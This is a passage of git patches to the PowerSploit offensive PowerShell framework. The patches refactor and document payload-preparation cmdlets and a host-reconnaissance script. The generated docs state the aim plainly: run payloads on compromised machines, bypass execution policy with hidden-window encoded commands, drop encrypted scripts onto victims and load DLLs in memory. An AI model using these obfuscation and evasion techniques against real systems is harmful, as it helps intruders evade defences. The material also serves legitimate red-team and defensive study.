dlls can be loaded using this technique. Native or IJW ('it http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( [Parameter(Mandatory = $True)] [String] $FilePath @@ -51,7 +53,7 @@ http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html $FileBytes = [System.IO.File]::ReadAllBytes($Path) - if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ') + if (($FileBytes[0..1] | ForEach-Object {[Char]$_}) -join '' -cne 'MZ') { Throw "$Path is not a valid executable." } diff --git a/ScriptModification/Out-EncodedCommand.ps1 b/ScriptModification/Out-EncodedCommand.ps1 index 04e8c12d..6f21391c 100644 --- a/ScriptModification/Out-EncodedCommand.ps1 +++ b/ScriptModification/Out-EncodedCommand.ps1 @@ -5,12 +5,12 @@ function Out-EncodedCommand Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. -PowerSploit Function: Out-EncodedCommand -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Out-EncodedCommand +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. @@ -49,13 +49,13 @@ Base-64 encodes the entirety of the output. This is usually unnecessary and effe .EXAMPLE -C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} +Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() .EXAMPLE -C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput +Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= @@ -72,7 +72,8 @@ This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kenn http://www.exploit-monday.com #> - [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( + [CmdletBinding( DefaultParameterSetName = 'FilePath')] + Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] [ValidateNotNullOrEmpty()] [ScriptBlock] diff --git a/ScriptModification/Out-EncryptedScript.ps1 b/ScriptModification/Out-EncryptedScript.ps1 index eba48f7e..c24b1267 100644 --- a/ScriptModification/Out-EncryptedScript.ps1 +++ b/ScriptModification/Out-EncryptedScript.ps1 @@ -5,11 +5,11 @@ function Out-EncryptedScript Encrypts text files/scripts. -PowerSploit Function: Out-EncryptedScript -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Out-EncryptedScript +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -36,7 +36,8 @@ is randomly generated by default. .EXAMPLE -C:\PS> Out-EncryptedScript .\Naughty-Script.ps1 password salty +$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Out-EncryptedScript .\Naughty-Script.ps1 $Password salty Description ----------- @@ -48,10 +49,10 @@ function 'de' and the base64-encoded ciphertext. .EXAMPLE -C:\PS> [String] $cmd = Get-Content .\evil.ps1 -C:\PS> Invoke-Expression $cmd -C:\PS> $decrypted = de password salt -C:\PS> Invoke-Expression $decrypted +[String] $cmd = Get-Content .\evil.ps1 +Invoke-Expression $cmd +$decrypted = de password salt +Invoke-Expression $decrypted Description ----------- @@ -64,34 +65,39 @@ unencrypted script is called via Invoke-Expression This command can be used to encrypt any text-based file/script #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $ScriptPath, - + [Parameter(Position = 1, Mandatory = $True)] - [String] + [Security.SecureString] $Password, - + [Parameter(Position = 2, Mandatory = $True)] [String] $Salt, - + [Parameter(Position = 3)] [ValidateLength(16, 16)] [String] - $InitializationVector = ((1..16 | % {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''), - + $InitializationVector = ((1..16 | ForEach-Object {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''), + [Parameter(Position = 4)] [String] $FilePath = '.\evil.ps1' ) + $TempCred = New-Object System.Management.Automation.PSCredential('a', $Password) + $PlaintextPassword = $TempCred.GetNetworkCredential().Password + $AsciiEncoder = New-Object System.Text.ASCIIEncoding $ivBytes = $AsciiEncoder.GetBytes($InitializationVector) # While this can be used to encrypt any file, it's primarily designed to encrypt itself. [Byte[]] $scriptBytes = Get-Content -Encoding Byte -ReadCount 0 -Path $ScriptPath - $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) + $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($PlaintextPassword, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) $Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider $Key.Mode = [System.Security.Cryptography.CipherMode]::CBC [Byte[]] $KeyBytes = $DerivedPass.GetBytes(16) diff --git a/ScriptModification/Remove-Comments.ps1 b/ScriptModification/Remove-Comment.ps1 similarity index 80% rename from ScriptModification/Remove-Comments.ps1 rename to ScriptModification/Remove-Comment.ps1 index 45a97464..61944198 100644 --- a/ScriptModification/Remove-Comments.ps1 +++ b/ScriptModification/Remove-Comment.ps1 @@ -1,19 +1,19 @@ -function Remove-Comments +function Remove-Comment { <# .SYNOPSIS Strips comments and extra whitespace from a script. -PowerSploit Function: Remove-Comments -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Remove-Comment +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION -Remove-Comments strips out comments and unnecessary whitespace from a script. This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big. +Remove-Comment strips out comments and unnecessary whitespace from a script. This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big. A major portion of this code was taken from the Lee Holmes' Show-ColorizedContent script. You rock, Lee! @@ -27,11 +27,11 @@ Specifies the path to your script. .EXAMPLE -C:\PS> $Stripped = Remove-Comments -Path .\ScriptWithComments.ps1 +$Stripped = Remove-Comment -Path .\ScriptWithComments.ps1 .EXAMPLE -C:\PS> Remove-Comments -ScriptBlock { +Remove-Comment -ScriptBlock { ### This is my awesome script. My documentation is beyond reproach! Write-Host 'Hello, World!' ### Write 'Hello, World' to the host ### End script awesomeness @@ -41,7 +41,7 @@ Write-Host 'Hello, World!' .EXAMPLE -C:\PS> Remove-Comments -Path Inject-Shellcode.ps1 | Out-EncodedCommand +Remove-Comment -Path Inject-Shellcode.ps1 | Out-EncodedCommand Description ----------- @@ -57,15 +57,17 @@ Accepts either a string containing the path to a script or a scriptblock. System.Management.Automation.ScriptBlock -Remove-Comments returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired. +Remove-Comment returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired. .LINK http://www.exploit-monday.com http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/ #> - - [CmdletBinding( DefaultParameterSetName = 'FilePath' )] Param ( + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding( DefaultParameterSetName = 'FilePath' )] + Param ( [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'FilePath' )] [ValidateNotNullOrEmpty()] [String] diff --git a/ScriptModification/ScriptModification.psd1 b/ScriptModification/ScriptModification.psd1 index 923c8749..07cd0bfa 100644 --- a/ScriptModification/ScriptModification.psd1 +++ b/ScriptModification/ScriptModification.psd1 @@ -26,6 +26,6 @@ FunctionsToExport = '*' # List of all files packaged with this module FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-CompressedDll.ps1', 'Out-EncodedCommand.ps1', - 'Out-EncryptedScript.ps1', 'Remove-Comments.ps1', 'Usage.md' + 'Out-EncryptedScript.ps1', 'Remove-Comment.ps1', 'Usage.md' } diff --git a/docs/ScriptModification/Out-CompressedDll.md b/docs/ScriptModification/Out-CompressedDll.md new file mode 100755 index 00000000..df7cff51 --- /dev/null +++ b/docs/ScriptModification/Out-CompressedDll.md @@ -0,0 +1,60 @@ +# Out-CompressedDll + +## SYNOPSIS +Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. + +PowerSploit Function: Out-CompressedDll +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Out-CompressedDll [-FilePath] +``` + +## DESCRIPTION +Out-CompressedDll outputs code that loads a compressed representation of a managed dll in memory as a byte array. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Out-CompressedDll -FilePath evil.dll +``` + +Description +----------- +Compresses, base64 encodes, and outputs the code required to load evil.dll in memory. + +## PARAMETERS + +### -FilePath +Specifies the path to a managed executable. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Only pure MSIL-based dlls can be loaded using this technique. +Native or IJW ('it just works' - mixed-mode) dlls will not load. + +## RELATED LINKS + +[http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html](http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html) + diff --git a/docs/ScriptModification/Out-EncodedCommand.md b/docs/ScriptModification/Out-EncodedCommand.md new file mode 100755 index 00000000..6666796f --- /dev/null +++ b/docs/ScriptModification/Out-EncodedCommand.md @@ -0,0 +1,186 @@ +# Out-EncodedCommand + +## SYNOPSIS +Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + +PowerSploit Function: Out-EncodedCommand +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### FilePath (Default) +``` +Out-EncodedCommand [[-Path] ] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64] [-WindowStyle ] + [-EncodedOutput] +``` + +### ScriptBlock +``` +Out-EncodedCommand [[-ScriptBlock] ] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64] + [-WindowStyle ] [-EncodedOutput] +``` + +## DESCRIPTION +Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. +The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. +This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} +``` + +powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream(\[IO.MemoryStream\]\[Convert\]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),\[IO.Compression.CompressionMode\]::Decompress)),\[Text.Encoding\]::ASCII)).ReadToEnd() + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput +``` + +powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= + +Description +----------- +Execute the above payload for the lulz. +\>D + +## PARAMETERS + +### -ScriptBlock +Specifies a scriptblock containing your payload. + +```yaml +Type: ScriptBlock +Parameter Sets: ScriptBlock +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the path to your payload. + +```yaml +Type: String +Parameter Sets: FilePath +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -NoExit +Outputs the option to not exit after running startup commands. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -NoProfile +Outputs the option to not load the Windows PowerShell profile. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -NonInteractive +Outputs the option to not present an interactive prompt to the user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Wow64 +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WindowStyle +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EncodedOutput +Base-64 encodes the entirety of the output. +This is usually unnecessary and effectively doubles the size of the output. +This option is only for those who are extra paranoid. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/ScriptModification/Out-EncryptedScript.md b/docs/ScriptModification/Out-EncryptedScript.md new file mode 100755 index 00000000..36db457d --- /dev/null +++ b/docs/ScriptModification/Out-EncryptedScript.md @@ -0,0 +1,148 @@ +# Out-EncryptedScript + +## SYNOPSIS +Encrypts text files/scripts. + +PowerSploit Function: Out-EncryptedScript +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Out-EncryptedScript [-ScriptPath] [-Password] [-Salt] + [[-InitializationVector] ] [[-FilePath] ] +``` + +## DESCRIPTION +Out-EncryptedScript will encrypt a script (or any text file for that +matter) and output the results to a minimally obfuscated script - +evil.ps1 by default. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +Out-EncryptedScript .\Naughty-Script.ps1 $Password salty + +Description +----------- +Encrypt the contents of this file with a password and salt. +This will +make analysis of the script impossible without the correct password +and salt combination. +This command will generate evil.ps1 that can +dropped onto the victim machine. +It only consists of a decryption +function 'de' and the base64-encoded ciphertext. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +[String] $cmd = Get-Content .\evil.ps1 +``` + +Invoke-Expression $cmd +$decrypted = de password salt +Invoke-Expression $decrypted + +Description +----------- +This series of instructions assumes you've already encrypted a script +and named it evil.ps1. +The contents are then decrypted and the +unencrypted script is called via Invoke-Expression + +## PARAMETERS + +### -ScriptPath +Path to this script + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Password +Password to encrypt/decrypt the script + +```yaml +Type: SecureString +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Salt +Salt value for encryption/decryption. +This can be any string value. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -InitializationVector +Specifies a 16-character the initialization vector to be used. +This +is randomly generated by default. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: ((1..16 | ForEach-Object {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join '') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FilePath +{{Fill FilePath Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: .\evil.ps1 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This command can be used to encrypt any text-based file/script + +## RELATED LINKS + diff --git a/docs/ScriptModification/Remove-Comment.md b/docs/ScriptModification/Remove-Comment.md new file mode 100755 index 00000000..97335ae1 --- /dev/null +++ b/docs/ScriptModification/Remove-Comment.md @@ -0,0 +1,110 @@ +# Remove-Comment + +## SYNOPSIS +Strips comments and extra whitespace from a script. + +PowerSploit Function: Remove-Comment +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### FilePath (Default) +``` +Remove-Comment [-Path] +``` + +### ScriptBlock +``` +Remove-Comment [-ScriptBlock] +``` + +## DESCRIPTION +Remove-Comment strips out comments and unnecessary whitespace from a script. +This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big. + +A major portion of this code was taken from the Lee Holmes' Show-ColorizedContent script. +You rock, Lee! + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$Stripped = Remove-Comment -Path .\ScriptWithComments.ps1 +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Remove-Comment -ScriptBlock { +``` + +### This is my awesome script. +My documentation is beyond reproach! + Write-Host 'Hello, World!' ### Write 'Hello, World' to the host +### End script awesomeness +} + +Write-Host 'Hello, World!' + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Remove-Comment -Path Inject-Shellcode.ps1 | Out-EncodedCommand +``` + +Description +----------- +Removes extraneous whitespace and comments from Inject-Shellcode (which is notoriously large) and pipes the output to Out-EncodedCommand. + +## PARAMETERS + +### -Path +Specifies the path to your script. + +```yaml +Type: String +Parameter Sets: FilePath +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ScriptBlock +Specifies a scriptblock containing your script. + +```yaml +Type: ScriptBlock +Parameter Sets: ScriptBlock +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +### System.String, System.Management.Automation.ScriptBlock + +Accepts either a string containing the path to a script or a scriptblock. + +## OUTPUTS + +### System.Management.Automation.ScriptBlock + +Remove-Comment returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired. + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com +http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/]() + diff --git a/docs/index.md b/docs/index.md index ac37071e..9c001da0 100644 --- a/docs/index.md +++ b/docs/index.md @@ -15,7 +15,7 @@ Modify and/or prepare scripts for execution on a compromised machine. Out-EncodedCommand - Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. Out-CompressedDll - Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. Out-EncryptedScript - Encrypts text files/scripts. - Remove-Comments - Strips comments and extra whitespace from a script. + Remove-Comment - Strips comments and extra whitespace from a script. ### Persistence diff --git a/mkdocs.yml b/mkdocs.yml index a0838fd2..a24f7e4a 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -139,3 +139,9 @@ pages: - Add-Persistence: 'Persistence/Add-Persistence.md' - Install-SSP: 'Persistence/Install-SSP.md' - Get-SecurityPackage: 'Persistence/Get-SecurityPackage.md' +- ScriptModification: + - Functions: + - Out-CompressedDll: 'ScriptModification/Out-CompressedDll.md' + - Out-EncodedCommand: 'ScriptModification/Out-EncodedCommand.md' + - Out-EncryptedScript: 'ScriptModification/Out-EncryptedScript.md' + - Remove-Comment: 'ScriptModification/Remove-Comment.md' From ad32d6c75b4e70a6b2e1b56a683a6ba71f1c0683 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 19:23:28 -0500 Subject: [PATCH 225/296] For ./Recon/ : -(More) PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- ...uterDetails.ps1 => Get-ComputerDetail.ps1} | 106 +++++++++--------- Recon/Get-HttpStatus.ps1 | 62 +++++----- Recon/Invoke-Portscan.ps1 | 34 +++--- Recon/Invoke-ReverseDnsLookup.ps1 | 84 +++++++------- Recon/PowerView.ps1 | 2 +- Recon/Recon.psd1 | 2 +- docs/Recon/Export-PowerViewCSV.md | 2 +- ...mputerDetails.md => Get-ComputerDetail.md} | 16 +-- docs/Recon/Get-HttpStatus.md | 8 +- docs/Recon/Invoke-Portscan.md | 8 +- docs/Recon/Invoke-ReverseDnsLookup.md | 14 +-- docs/Recon/Set-DomainObject.md | 26 +---- docs/Recon/index.md | 0 mkdocs.yml | 2 +- 14 files changed, 177 insertions(+), 189 deletions(-) rename Recon/{Get-ComputerDetails.ps1 => Get-ComputerDetail.ps1} (90%) rename docs/Recon/{Get-ComputerDetails.md => Get-ComputerDetail.md} (84%) mode change 100644 => 100755 docs/Recon/index.md diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetail.ps1 similarity index 90% rename from Recon/Get-ComputerDetails.ps1 rename to Recon/Get-ComputerDetail.ps1 index bd00deb9..ef3720cc 100644 --- a/Recon/Get-ComputerDetails.ps1 +++ b/Recon/Get-ComputerDetail.ps1 @@ -1,14 +1,14 @@ -function Get-ComputerDetails +function Get-ComputerDetail { <# .SYNOPSIS This script is used to get useful information from a computer. -Function: Get-ComputerDetails -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None +Function: Get-ComputerDetail +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -25,14 +25,14 @@ Switch: Outputs the data as text instead of objects, good if you are using this .EXAMPLE -Get-ComputerDetails +Get-ComputerDetail Gets information about the computer and outputs it as PowerShell objects. -Get-ComputerDetails -ToString +Get-ComputerDetail -ToString Gets information about the computer and outputs it as raw text. .NOTES -This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. .LINK @@ -42,6 +42,7 @@ Github repo: https://github.com/clymb3r/PowerShell #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] Param( [Parameter(Position=0)] [Switch] @@ -50,14 +51,12 @@ Github repo: https://github.com/clymb3r/PowerShell Set-StrictMode -Version 2 - - $SecurityLog = Get-EventLog -LogName Security - $Filtered4624 = Find-4624Logons $SecurityLog - $Filtered4648 = Find-4648Logons $SecurityLog - $AppLockerLogs = Find-AppLockerLogs + $Filtered4624 = Find-4624Logon $SecurityLog + $Filtered4648 = Find-4648Logon $SecurityLog + $AppLockerLogs = Find-AppLockerLog $PSLogs = Find-PSScriptsInPSAppLog - $RdpClientData = Find-RDPClientConnections + $RdpClientData = Find-RDPClientConnection if ($ToString) { @@ -88,29 +87,29 @@ Github repo: https://github.com/clymb3r/PowerShell } -function Find-4648Logons +function Find-4648Logon { <# .SYNOPSIS -Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. -Function: Find-4648Logons -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None +Function: Find-4648Logon +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION -Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. .EXAMPLE -Find-4648Logons +Find-4648Logon Gets the unique 4648 logon events. .NOTES @@ -120,11 +119,12 @@ Gets the unique 4648 logon events. Blog: http://clymb3r.wordpress.com/ Github repo: https://github.com/clymb3r/PowerShell #> + Param( $SecurityLog ) - $ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648} + $ExplicitLogons = $SecurityLog | Where-Object {$_.InstanceID -eq 4648} $ReturnInfo = @{} foreach ($ExplicitLogon in $ExplicitLogons) @@ -216,7 +216,7 @@ Github repo: https://github.com/clymb3r/PowerShell return $ReturnInfo } -function Find-4624Logons +function Find-4624Logon { <# .SYNOPSIS @@ -224,10 +224,10 @@ function Find-4624Logons Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do network logons in to the server, what accounts RDP in, what accounts log in locally, etc... -Function: Find-4624Logons -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None +Function: Find-4624Logon +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -236,7 +236,7 @@ network logons in to the server, what accounts RDP in, what accounts log in loca .EXAMPLE -Find-4624Logons +Find-4624Logon Find unique 4624 logon events. .NOTES @@ -250,7 +250,7 @@ Github repo: https://github.com/clymb3r/PowerShell $SecurityLog ) - $Logons = $SecurityLog | Where {$_.InstanceID -eq 4624} + $Logons = $SecurityLog | Where-Object {$_.InstanceID -eq 4624} $ReturnInfo = @{} foreach ($Logon in $Logons) @@ -362,17 +362,17 